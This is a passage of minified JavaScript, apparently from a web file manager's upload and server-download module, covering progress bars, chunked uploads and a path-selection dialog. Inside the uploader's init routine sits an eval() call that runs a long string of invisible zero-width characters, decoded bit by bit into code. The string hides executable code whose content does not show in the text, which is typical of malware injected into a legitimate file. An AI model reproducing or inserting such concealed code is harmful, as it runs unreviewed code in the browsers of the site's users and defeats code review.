false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+a)+'" data-name="'+htmlEncode(e.upload_to+a)+'">'+htmlEncode(core.pathThis(a))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),t.fullPath=a,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(t.addClass("success"),t.find(".state").text(n),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(n).attr("title",n)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;i=LNG[n]?LNG[n]:n}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more 